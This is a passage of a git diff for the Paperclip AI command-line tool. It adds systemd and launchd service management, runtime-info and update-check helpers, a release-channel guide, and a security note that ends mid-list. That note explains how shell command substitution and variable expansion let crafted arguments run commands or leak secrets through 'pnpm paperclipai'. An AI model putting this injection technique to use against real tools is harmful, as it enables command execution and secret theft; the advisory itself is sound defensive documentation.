resolvePaperclipInstanceRoot } from "./config/home.js"; + +export const PAPERCLIP_RUNTIME_INFO_FILENAME = "runtime-info.json"; + +export type PaperclipRuntimeInfo = { + schemaVersion: 1; + instanceId: string; + pid: number; + host: string; + port: number; + dashboardUrl: string; + startedAt: string; +}; + +export function resolveRuntimeInfoPath(instanceId?: string): string { + return path.join(resolvePaperclipInstanceRoot(instanceId), PAPERCLIP_RUNTIME_INFO_FILENAME); +} + +function parseRuntimeInfo(value: unknown): PaperclipRuntimeInfo | null { + if (!value || typeof value !== "object") return null; + const record = value as Record; + if ( + record.schemaVersion !== 1 || + typeof record.instanceId !== "string" || + !Number.isInteger(record.pid) || + (record.pid as number) <= 0 || + typeof record.host !== "string" || + !Number.isInteger(record.port) || + (record.port as number) <= 0 || + (record.port as number) > 65_535 || + typeof record.dashboardUrl !== "string" || + typeof record.startedAt !== "string" + ) { + return null; + } + return record as PaperclipRuntimeInfo; +} + +export function readRuntimeInfo(instanceId?: string, filePath = resolveRuntimeInfoPath(instanceId)): PaperclipRuntimeInfo | null { + try { + const info = parseRuntimeInfo(JSON.parse(fs.readFileSync(filePath, "utf8"))); + if (!info) return null; + if (instanceId && info.instanceId !== instanceId) return null; + return info; + } catch { + return null; + } +} + +export function writeRuntimeInfo( + info: PaperclipRuntimeInfo, + filePath = resolveRuntimeInfoPath(info.instanceId), +): void { + const directoryPath = path.dirname(filePath); + fs.mkdirSync(directoryPath, { recursive: true, mode: 0o700 }); + const temporaryPath = path.join( + directoryPath, + `.${path.basename(filePath)}.tmp-${process.pid}-${Date.now()}`, + ); + try { + fs.writeFileSync(temporaryPath, `${JSON.stringify(info, null, 2)}\n`, { + encoding: "utf8", + mode: 0o600, + flag: "wx", + }); + fs.renameSync(temporaryPath, filePath); + } finally { + fs.rmSync(temporaryPath, { force: true }); + } +} + +export function removeRuntimeInfoForPid( + pid: number, + instanceId?: string, + filePath = resolveRuntimeInfoPath(instanceId), +): void { + const current = readRuntimeInfo(instanceId, filePath); + if (current?.pid !== pid) return; + fs.rmSync(filePath, { force: true }); +} diff --git a/cli/src/services/service-manager.ts b/cli/src/services/service-manager.ts new file mode 100644 index 00000000000..5267d5e1451 --- /dev/null +++ b/cli/src/services/service-manager.ts @@ -0,0 +1,368 @@ +import fs from "node:fs/promises"; +import { constants as fsConstants } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { execFile } from "node:child_process"; +import { promisify } from "node:util"; +import { resolvePaperclipHomeDir, resolvePaperclipInstanceId } from "../config/home.js"; + +const execFileAsync = promisify(execFile); + +export type ServicePlatform = "systemd" | "launchd"; +export type ServiceStatus = { + platform: ServicePlatform; + serviceName: string; + installed: boolean; + active: boolean; + enabled: boolean; + pid: number | null; + detail?: string; + linger?: boolean | null; +}; +export type ServiceInstallOptions = { startNow: boolean; startOnLogin: boolean }; + +export interface ServiceManager { + readonly platform: ServicePlatform; + readonly instanceId: string; + readonly serviceName: string; + readonly definitionPath: string; + renderDefinition(): string; + install(options: ServiceInstallOptions): Promise<{ changed: boolean }>; + uninstall(): Promise; + start(): Promise; + stop(): Promise; + restart(): Promise; + status(): Promise; + logs(follow: boolean, lines: number): Promise; + installedExecutablePath(): Promise; + enableLinger?(): Promise; +} + +export type CommandResult = { stdout: string; stderr: string }; +export type CommandRunner = (command: string, args: string[], options?: { inherit?: boolean }) => Promise; + +export const defaultCommandRunner: CommandRunner = async (command, args, options) => { + if (options?.inherit) { + await new Promise((resolve, reject) => { + const child = execFile(command, args, { windowsHide: true }, (error) => error ? reject(error) : resolve()); + child.stdout?.pipe(process.stdout); + child.stderr?.pipe(process.stderr); + }); + return { stdout: "", stderr: "" }; + } + const result = await execFileAsync(command, args, { encoding: "utf8", windowsHide: true }); + return { stdout: result.stdout, stderr: result.stderr }; +}; + +function escapeSystemd(value: string): string { + if (/\r|\n/.test(value)) { + throw new Error("Systemd service values must not contain line breaks"); + } + return value + .replaceAll("\\", "\\\\") + .replaceAll('"', '\\"') + .replaceAll("$", () => "$$") + .replaceAll("%", "%%"); +} + +function escapeXml(value: string): string { + return value.replaceAll("&", "&").replaceAll("<", "<").replaceAll(">", ">").replaceAll('"', """).replaceAll("'", "'"); +} + +function escapeRegExp(value: string): string { + return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); +} + +export function resolveServiceShimPath(homeDir = os.homedir()): string { + return process.env.PAPERCLIP_SHIM_PATH?.trim() || path.join(homeDir, ".local", "bin", "paperclipai"); +} + +// The installed definition, not the current environment, is the truth +// about what the service executes: PAPERCLIP_SHIM_PATH may have changed +// or been unset since the definition was written. +function unescapeSystemd(value: string): string { + return value.replace(/\\\\|\\"|\$\$|%%/g, (m) => + m === "\\\\" ? "\\" : m === '\\"' ? '"' : m === "$$" ? "$" : "%", + ); +} + +function unescapeXml(value: string): string { + return value.replace(/&(amp|lt|gt|quot|apos);/g, (_, name: string) => + name === "amp" ? "&" : name === "lt" ? "<" : name === "gt" ? ">" : name === "quot" ? '"' : "'", + ); +} + +export function extractExecutableFromSystemdUnit(content: string): string | null { + const match = content.match(/^ExecStart="((?:\\.|[^"\\])*)"/m); + return match ? unescapeSystemd(match[1]) : null; +} + +export function extractExecutableFromLaunchdPlist(content: string): string | null { + const match = content.match(/ProgramArguments<\/key>\s*\s*([^<]+)<\/string>/); + return match ? unescapeXml(match[1]) : null; +} + +// The service definition executes this path directly: existence is not +// enough — a directory or a non-executable file would satisfy fs.access's +// default mode and still crash the supervisor at spawn. +export async function isExecutableFile(filePath: string): Promise { + try { + const stats = await fs.stat(filePath); + if (!stats.isFile()) return false; + await fs.access(filePath, fsConstants.X_OK); + return true; + } catch { + return false; + } +} + +export function systemdServiceName(instanceId: string): string { + return instanceId === "default" ? "paperclipai.service" : `paperclipai-${instanceId}.service`; +} + +export function launchdServiceName(instanceId: string): string { + return instanceId === "default" ? "ing.paperclip.paperclipai" : `ing.paperclip.paperclipai.${instanceId}`; +} + +export function renderSystemdUnit(input: { instanceId: string; shimPath: string; homeDir: string }): string { + return `[Unit] +Description=Paperclip AI (${escapeSystemd(input.instanceId)}) +After=network.target +StartLimitIntervalSec=60 +StartLimitBurst=5 + +[Service] +Type=notify +NotifyAccess=all +ExecStart="${escapeSystemd(input.shimPath)}" run --instance "${escapeSystemd(input.instanceId)}" +Environment="PAPERCLIP_SERVICE_MANAGED=1" +Environment="PAPERCLIP_INSTANCE_ID=${escapeSystemd(input.instanceId)}" +Environment="PAPERCLIP_HOME=${escapeSystemd(input.homeDir)}" +WorkingDirectory=%h +Restart=always +RestartSec=5 +TimeoutStopSec=300 + +[Install] +WantedBy=default.target +`; +} + +export function renderLaunchdPlist(input: { instanceId: string; shimPath: string; homeDir: string; stdoutPath: string; stderrPath: string }): string { + const label = launchdServiceName(input.instanceId); + return ` + + + + Label${escapeXml(label)} + ProgramArguments + + ${escapeXml(input.shimPath)}run--instance${escapeXml(input.instanceId)} + + EnvironmentVariables + + PAPERCLIP_SERVICE_MANAGED1 + PAPERCLIP_INSTANCE_ID${escapeXml(input.instanceId)} + PAPERCLIP_HOME${escapeXml(input.homeDir)} + + RunAtLoad + KeepAlive + ThrottleInterval5 + ExitTimeOut300 + StandardOutPath${escapeXml(input.stdoutPath)} + StandardErrorPath${escapeXml(input.stderrPath)} + + +`; +} + +async function writeIfChanged(filePath: string, contents: string): Promise { + const directoryPath = path.dirname(filePath); + await fs.mkdir(directoryPath, { recursive: true, mode: 0o700 }); + const directoryStat = await fs.lstat(directoryPath); + if (!directoryStat.isDirectory() || directoryStat.isSymbolicLink()) throw new Error(`Refusing to write service definition through unsafe directory ${directoryPath}.`); + const currentUid = process.getuid?.(); + if (currentUid !== undefined && directoryStat.uid !== currentUid) throw new Error(`Refusing to write service definition in directory not owned by the current user: ${directoryPath}.`); + try { + const stat = await fs.lstat(filePath); + if (!stat.isFile() || stat.isSymbolicLink() || stat.nlink > 1) throw new Error(`Refusing to replace unsafe service definition ${filePath}.`); + if (currentUid !== undefined && stat.uid !== currentUid) throw new Error(`Refusing to replace service definition not owned by the current user: ${filePath}.`); + if (await fs.readFile(filePath, "utf8") === contents) return false; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw error; + } + const temporaryPath = path.join(directoryPath, `.${path.basename(filePath)}.tmp-${process.pid}-${Date.now()}`); + try { + await fs.writeFile(temporaryPath, contents, { encoding: "utf8", mode: 0o644, flag: "wx" }); + await fs.rename(temporaryPath, filePath); + } finally { + await fs.rm(temporaryPath, { force: true }); + } + return true; +} + +export class SystemdServiceManager implements ServiceManager { + readonly platform = "systemd" as const; + readonly serviceName: string; + readonly definitionPath: string; + + constructor(readonly instanceId: string, private readonly runner: CommandRunner = defaultCommandRunner, private readonly homeDir = resolvePaperclipHomeDir(), private readonly shimPath = resolveServiceShimPath(), userHomeDir = os.homedir()) { + this.serviceName = systemdServiceName(instanceId); + this.definitionPath = path.join(userHomeDir, ".config", "systemd", "user", this.serviceName); + } + + renderDefinition(): string { + return renderSystemdUnit({ instanceId: this.instanceId, shimPath: this.shimPath, homeDir: this.homeDir }); + } + + async installedExecutablePath(): Promise { + try { + return extractExecutableFromSystemdUnit(await fs.readFile(this.definitionPath, "utf8")); + } catch { + return null; + } + } + + private async ensureCurrent(): Promise { + const changed = await writeIfChanged(this.definitionPath, this.renderDefinition()); + if (changed) await this.runner("systemctl", ["--user", "daemon-reload"]); + return changed; + } + + async install(options: ServiceInstallOptions): Promise<{ changed: boolean }> { + const changed = await this.ensureCurrent(); + if (options.startOnLogin) await this.runner("systemctl", ["--user", "enable", this.serviceName]); + else await this.runner("systemctl", ["--user", "disable", this.serviceName]).catch(() => undefined); + if (options.startNow) await this.start(); + return { changed }; + } + + async uninstall(): Promise { + const status = await this.status(); + if (status.active) await this.stop(); + await this.runner("systemctl", ["--user", "disable", this.serviceName]).catch(() => undefined); + await fs.rm(this.definitionPath, { force: true }); + await this.runner("systemctl", ["--user", "daemon-reload"]); + await this.runner("systemctl", ["--user", "reset-failed", this.serviceName]).catch(() => undefined); + } + + async start(): Promise { await this.ensureCurrent(); await this.runner("systemctl", ["--user", "start", this.serviceName]); } + async stop(): Promise { await this.runner("systemctl", ["--user", "stop", this.serviceName]); } + async restart(): Promise { await this.ensureCurrent(); await this.runner("systemctl", ["--user", "restart", this.serviceName]); } + + async status(): Promise { + let output: string; + try { + output = (await this.runner("systemctl", ["--user", "show", this.serviceName, "--property=LoadState,ActiveState,UnitFileState,MainPID"])).stdout; + } catch { + return { platform: this.platform, serviceName: this.serviceName, installed: false, active: false, enabled: false, pid: null, linger: await this.lingerStatus() }; + } + const values = Object.fromEntries(output.trim().split(/\r?\n/).map((line) => line.split(/=(.*)/s).slice(0, 2))); + const pid = Number(values.MainPID); + return { platform: this.platform, serviceName: this.serviceName, installed: values.LoadState === "loaded", active: values.ActiveState === "active", enabled: values.UnitFileState === "enabled", pid: Number.isInteger(pid) && pid > 0 ? pid : null, detail: values.ActiveState, linger: await this.lingerStatus() }; + } + + private async lingerStatus(): Promise { + try { + const result = await this.runner("loginctl", ["show-user", String(process.getuid?.() ?? os.userInfo().username), "--property=Linger", "--value"]); + return result.stdout.trim() === "yes"; + } catch { return null; } + } + + async enableLinger(): Promise { await this.runner("loginctl", ["enable-linger", os.userInfo().username]); } + async logs(follow: boolean, lines: number): Promise { await this.runner("journalctl", ["--user", "--unit", this.serviceName, "--lines", String(lines), ...(follow ? ["--follow"] : [])], { inherit: true }); } +} + +export class LaunchdServiceManager implements ServiceManager { + readonly platform = "launchd" as const; + readonly serviceName: string; + readonly definitionPath: string; + private readonly domain = `gui/${process.getuid?.() ?? 0}`; + private readonly stdoutPath: string; + private readonly stderrPath: string; + + constructor(readonly instanceId: string, private readonly runner: CommandRunner = defaultCommandRunner, private readonly homeDir = resolvePaperclipHomeDir(), private readonly shimPath = resolveServiceShimPath(), userHomeDir = os.homedir()) { + this.serviceName = launchdServiceName(instanceId); + this.definitionPath = path.join(userHomeDir, "Library", "LaunchAgents", `${this.serviceName}.plist`); + const logDir = path.join(homeDir, "instances", instanceId, "logs"); + this.stdoutPath = path.join(logDir, "service.log"); + this.stderrPath = path.join(logDir, "service.err.log"); + } + + renderDefinition(): string { return renderLaunchdPlist({ instanceId: this.instanceId, shimPath: this.shimPath, homeDir: this.homeDir, stdoutPath: this.stdoutPath, stderrPath: this.stderrPath }); } + + async installedExecutablePath(): Promise { + try { + return extractExecutableFromLaunchdPlist(await fs.readFile(this.definitionPath, "utf8")); + } catch { + return null; + } + } + + async install(options: ServiceInstallOptions): Promise<{ changed: boolean }> { + await fs.mkdir(path.dirname(this.stdoutPath), { recursive: true }); + const changed = await writeIfChanged(this.definitionPath, this.renderDefinition()); + if (changed) await this.runner("launchctl", ["bootout", `${this.domain}/${this.serviceName}`]).catch(() => undefined); + await this.runner("launchctl", [options.startOnLogin ? "enable" : "disable", `${this.domain}/${this.serviceName}`]); + if (options.startOnLogin || options.startNow) { + await this.runner("launchctl", ["bootstrap", this.domain, this.definitionPath]).catch(async () => this.runner("launchctl", ["kickstart", "-k", `${this.domain}/${this.serviceName}`])); + } + if (!options.startNow) await this.stop().catch(() => undefined); + return { changed }; + } + + async uninstall(): Promise { + await this.runner("launchctl", ["bootout", `${this.domain}/${this.serviceName}`]).catch(() => undefined); + await this.runner("launchctl", ["disable", `${this.domain}/${this.serviceName}`]).catch(() => undefined); + await fs.rm(this.definitionPath, { force: true }); + } + async start(): Promise { await this.install({ startNow: true, startOnLogin: await this.isEnabled() }); } + async stop(): Promise { await this.runner("launchctl", ["bootout", `${this.domain}/${this.serviceName}`]); } + async restart(): Promise { await writeIfChanged(this.definitionPath, this.renderDefinition()); await this.runner("launchctl", ["kickstart", "-k", `${this.domain}/${this.serviceName}`]); } + + async status(): Promise { + try { + const result = await this.runner("launchctl", ["print", `${this.domain}/${this.serviceName}`]); + const pidMatch = result.stdout.match(/\bpid\s*=\s*(\d+)/); + const pid = pidMatch ? Number(pidMatch[1]) : null; + return { platform: this.platform, serviceName: this.serviceName, installed: true, active: Boolean(pid), enabled: await this.isEnabled(), pid, detail: pid ? "running" : "loaded" }; + } catch { + let installed = true; + try { await fs.access(this.definitionPath); } catch { installed = false; } + return { platform: this.platform, serviceName: this.serviceName, installed, active: false, enabled: installed && await this.isEnabled(), pid: null }; + } + } + + private async isEnabled(): Promise { + try { + const result = await this.runner("launchctl", ["print-disabled", this.domain]); + return !new RegExp(`"${escapeRegExp(this.serviceName)}"\\s*=>\\s*true`).test(result.stdout); + } catch { return true; } + } + + async logs(follow: boolean, lines: number): Promise { await this.runner("tail", ["-n", String(lines), ...(follow ? ["-F"] : []), this.stdoutPath, this.stderrPath], { inherit: true }); } +} + +export type ServiceManagerDetection = { supported: true; manager: ServiceManager } | { supported: false; reason: string }; + +export async function detectServiceManager(input: { instanceId?: string; platform?: NodeJS.Platform; runner?: CommandRunner } = {}): Promise { + const instanceId = resolvePaperclipInstanceId(input.instanceId); + const platform = input.platform ?? process.platform; + const runner = input.runner ?? defaultCommandRunner; + if (platform === "darwin") return { supported: true, manager: new LaunchdServiceManager(instanceId, runner) }; + if (platform !== "linux") return { supported: false, reason: `Service management is not supported on ${platform}. Use paperclipai run instead.` }; + try { + await runner("systemctl", ["--user", "show-environment"]); + return { supported: true, manager: new SystemdServiceManager(instanceId, runner) }; + } catch { + return { supported: false, reason: "No usable systemd user manager was detected (common in containers and WSL1). Use paperclipai run instead." }; + } +} + +export async function assertForegroundRunAllowed(instanceId: string, force = false, detector: typeof detectServiceManager = detectServiceManager): Promise { + if (force || process.env.PAPERCLIP_SERVICE_MANAGED === "1") return; + const detection = await detector({ instanceId }); + if (!detection.supported) return; + const status = await detection.manager.status(); + if (status.active) throw new Error(`Paperclip instance '${instanceId}' is already running as ${status.serviceName}. Use 'paperclipai service status --instance ${instanceId}' or pass --force to bypass this safety check.`); +} diff --git a/cli/src/update-notice.ts b/cli/src/update-notice.ts new file mode 100644 index 00000000000..01b90f4f7bb --- /dev/null +++ b/cli/src/update-notice.ts @@ -0,0 +1,19 @@ +import fs from "node:fs"; +import path from "node:path"; +import { packageVersion } from "./version.js"; +import { compareVersions } from "./commands/update.js"; +import { readInstallManifest, resolveInstallStorePaths } from "./install-store.js"; +import { resolveConfigPath } from "./config/store.js"; +const NOTICE_INTERVAL_MS = 24 * 60 * 60 * 1000; +export function isUpdateNoticeEnabled(configPath?: string): boolean { + if (process.env.PAPERCLIP_UPDATE_CHECK === "0") return false; + try { const raw = JSON.parse(fs.readFileSync(resolveConfigPath(configPath), "utf8")) as { updates?: { checkEnabled?: boolean } }; return raw.updates?.checkEnabled !== false; } catch { return true; } +} +export async function checkForUpdateNotice(options: { configPath?: string; now?: number; fetchImpl?: typeof fetch; cachePath?: string } = {}): Promise { + if (!isUpdateNoticeEnabled(options.configPath)) return null; + const paths = resolveInstallStorePaths(); const cachePath = options.cachePath ?? path.join(paths.cliRoot, "update-check.json"); const now = options.now ?? Date.now(); + try { const cache = JSON.parse(fs.readFileSync(cachePath, "utf8")) as { checkedAt?: number; latest?: string }; if (cache.checkedAt && now - cache.checkedAt < NOTICE_INTERVAL_MS) return cache.latest && compareVersions(cache.latest, packageVersion) > 0 ? cache.latest : null; } catch {} + const tag = readInstallManifest(paths)?.channel === "canary" ? "canary" : "latest"; + try { const response = await (options.fetchImpl ?? fetch)("https://registry.npmjs.org/paperclipai", { signal: AbortSignal.timeout(2500) }); if (!response.ok) return null; const body = await response.json() as { ["dist-tags"]?: Record }; const latest = body["dist-tags"]?.[tag]; fs.mkdirSync(path.dirname(cachePath), { recursive: true, mode: 0o700 }); fs.writeFileSync(cachePath, JSON.stringify({ checkedAt: now, latest: latest ?? null }) + "\n", { mode: 0o600 }); return latest && compareVersions(latest, packageVersion) > 0 ? latest : null; } catch { return null; } +} +export async function printUpdateNotice(configPath?: string): Promise { const latest = await checkForUpdateNotice({ configPath }); if (latest) console.log(`Update available: ${latest} — run \`paperclipai update\``); } diff --git a/cli/src/utils/health-url.ts b/cli/src/utils/health-url.ts new file mode 100644 index 00000000000..ed3d95c15ee --- /dev/null +++ b/cli/src/utils/health-url.ts @@ -0,0 +1,14 @@ +export function buildLocalAppUrl(host: string | undefined, port: number): string { + const configuredHost = host?.trim(); + const reachableHost = !configuredHost || configuredHost === "0.0.0.0" || configuredHost === "::" + ? "127.0.0.1" + : configuredHost; + const urlHost = reachableHost.includes(":") && !reachableHost.startsWith("[") + ? `[${reachableHost}]` + : reachableHost; + return `http://${urlHost}:${port}`; +} + +export function buildLocalHealthUrl(host: string | undefined, port: number): string { + return `${buildLocalAppUrl(host, port)}/api/health`; +} diff --git a/cli/src/version.ts b/cli/src/version.ts index 7b94c8b35df..8f3632f44c3 100644 --- a/cli/src/version.ts +++ b/cli/src/version.ts @@ -1,4 +1,9 @@ import { createRequire } from "node:module"; +import { + isManagedExecutable, + readInstallManifest, + resolveInstallStorePaths, +} from "./install-store.js"; type PackageJson = { version?: string; @@ -7,4 +12,21 @@ type PackageJson = { const require = createRequire(import.meta.url); const pkg = require("../package.json") as PackageJson; -export const cliVersion = pkg.version ?? "0.0.0"; +export const packageVersion = pkg.version ?? "0.0.0"; + +export function resolveCliVersion(executablePath = process.argv[1]): string { + try { + const paths = resolveInstallStorePaths(); + const manifest = readInstallManifest(paths); + if (!manifest || !isManagedExecutable(executablePath, manifest, paths)) return packageVersion; + const provenance = + manifest.source === "git" + ? `managed git ${manifest.ref ?? manifest.sha ?? "unknown"}` + : `managed npm ${manifest.channel}`; + return `${packageVersion} (${provenance}; payload ${manifest.payloadPath})`; + } catch { + return packageVersion; + } +} + +export const cliVersion = resolveCliVersion(); diff --git a/doc/CHANNELS.md b/doc/CHANNELS.md new file mode 100644 index 00000000000..f809a386fc4 --- /dev/null +++ b/doc/CHANNELS.md @@ -0,0 +1,99 @@ +# Release Channels + +Paperclip ships on four channels. Pick the one that matches your appetite for +freshness versus stability — switching is just a matter of which version you +install. + +| Channel | What it is | Updates | npm | Docker | +| --- | --- | --- | --- | --- | +| `stable` | The recommended release | every week or two | `paperclipai@latest` | `ghcr.io/paperclipai/paperclip:latest` | +| `beta` | Release candidates soaking before stable | when promoted | `paperclipai@beta` | `ghcr.io/paperclipai/paperclip:beta` | +| `nightly` | Yesterday's merges, smoke-tested as a unit | once a night | `paperclipai@nightly` | `ghcr.io/paperclipai/paperclip:nightly` | +| `canary` | Every merge to `master`, as it happens | many times a day | `paperclipai@canary` | `ghcr.io/paperclipai/paperclip:canary` | + +## Choosing a channel + +**stable** is the right choice for almost everyone. It only moves when a +release has been explicitly vetted and promoted by a maintainer, and every +stable must first soak as a beta for at least 3 days. + +**beta** is for people who want the next stable early. A beta is a nightly +that a maintainer hand-picked and explicitly promoted behind an approval +gate, and it is re-smoked after publishing. Betas are the release candidates: +what you run on beta today is what stable becomes a few days later. + +**nightly** is for people who want new features quickly but not the churn of +tracking every merge. Once a night, the newest master build that published +green is run through the full release smoke suite (real Docker container, real +onboarding flow, browser-driven). Only if that passes does it ship as the +nightly. If smoke fails, there is no nightly that night — the channel never +ships a build that failed its checks. + +**canary** is the bleeding edge: it publishes on every merge to `master`. +It is primarily the lane that continuously exercises our release automation, +but it's available to anyone who wants the newest bits and accepts the risk. + +## Installing from a channel + +npm / npx: + +```bash +npx paperclipai@latest onboard # stable +npx paperclipai@beta onboard +npx paperclipai@nightly onboard +npx paperclipai@canary onboard +``` + +Docker: + +```bash +docker pull ghcr.io/paperclipai/paperclip:latest # stable +docker pull ghcr.io/paperclipai/paperclip:beta +docker pull ghcr.io/paperclipai/paperclip:nightly +docker pull ghcr.io/paperclipai/paperclip:canary +``` + +Every image is also published as `:sha-` for exact pinning, and +stable images additionally get `:YYYY.MDD.P` version tags. + +## Seeing where you are + +```bash +npx paperclipai channels +``` + +prints every channel with the version it currently resolves to, the install +command for each, and which channel your install follows (with `--json` for +scripting). + +## Switching channels + +Channel choice is per-install: install from a different tag and you're on that +channel. Moving forward (stable → nightly) is always safe. Moving backward +(nightly → stable) can mean running an older schema than your data was created +with — treat a downgrade like a restore and keep a backup of your data +directory before switching down. + +## Reading version strings + +The version tells you which channel a build came from: + +- `2026.807.0` — stable, published Aug 7 2026 +- `2026.807.0-beta.0` — beta promoted on Aug 7 2026 +- `2026.807.0-nightly.0` — nightly cut on Aug 7 2026 +- `2026.807.0-canary.4` — the fifth canary for the Aug 7 line + +Each promotion republishes the exact source commit of the previous lane's +build: a nightly shares its source SHA with a canary, and a beta with a +nightly. The version dates the promotion, and the shared SHA is visible in +the release job summaries and as git tags on the commit. + +One quirk to be aware of: npm's semver ordering compares prerelease names +alphabetically, so `-beta.N` sorts below `-canary.N`, which sorts below +`-nightly.N` for the same base version. This never matters when installing by +dist-tag (the recommended way), only if you write version ranges by hand. + +## For maintainers + +The publishing mechanics, promotion flow, and release checklist live in +[`RELEASING.md`](RELEASING.md). diff --git a/doc/CLI.md b/doc/CLI.md index 392b3a440c9..f01291b2994 100644 --- a/doc/CLI.md +++ b/doc/CLI.md @@ -2,9 +2,119 @@ Paperclip CLI now supports both: +- installation and lifecycle management (`install`, `uninstall`, `update`, `upgrade`, `service`) - instance setup/diagnostics (`onboard`, `doctor`, `configure`, `env`, `allowed-hostname`, `env-lab`) - control-plane client operations (issues, approvals, agents, activity, dashboard) +## Security: safe invocation for content-bearing arguments + +Use `npx paperclipai` for any command whose argument can hold untrusted or +semi-trusted content. Untrusted content includes issue text, comment bodies, +Markdown, pasted snippets, and model output. `npx` runs the CLI binary directly. +It passes the argument as an inert `argv` value. It does not run a shell over the +value. `npx paperclipai` works on any machine with Node: it runs a local install +of the `paperclipai` package, and it fetches the published package when no local +install is present. + +Do not use `pnpm paperclipai` for a content-bearing argument. `pnpm paperclipai` +is a `package.json` script. `pnpm` builds a `/bin/sh` command string and appends +the argument to it, so the shell reads the argument first. The shell interprets +these spans before the CLI starts: + +- command substitution: a backtick pair or `$( )` +- variable expansion: `$NAME` or `${NAME}` (this can leak a secret value into the persisted argument) + +A crafted value can run an arbitrary command as the invoking user. A crafted +value can also expand an environment variable into the stored argument. No +CLI-side check stops this, because the shell runs before `cli/src` starts. This +is true even when the argument comes from a quoted shell variable, because `pnpm` +re-evaluates the value in its own shell. + +Safe forms: + +- `npx paperclipai ` — the documented default. It passes an inert + `argv` value and runs on any machine. +- `node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts ` — + the safe form to run the local source from a monorepo checkout. It is the exact + command that the `pnpm paperclipai` script wraps, but it runs directly, so no + shell reads the argument. Use it when you must test your local `cli/src` + changes with a content-bearing argument. + +Unsafe or broken forms: + +- `pnpm paperclipai ` — unsafe. `pnpm` runs the argument through a + shell first. +- `pnpm run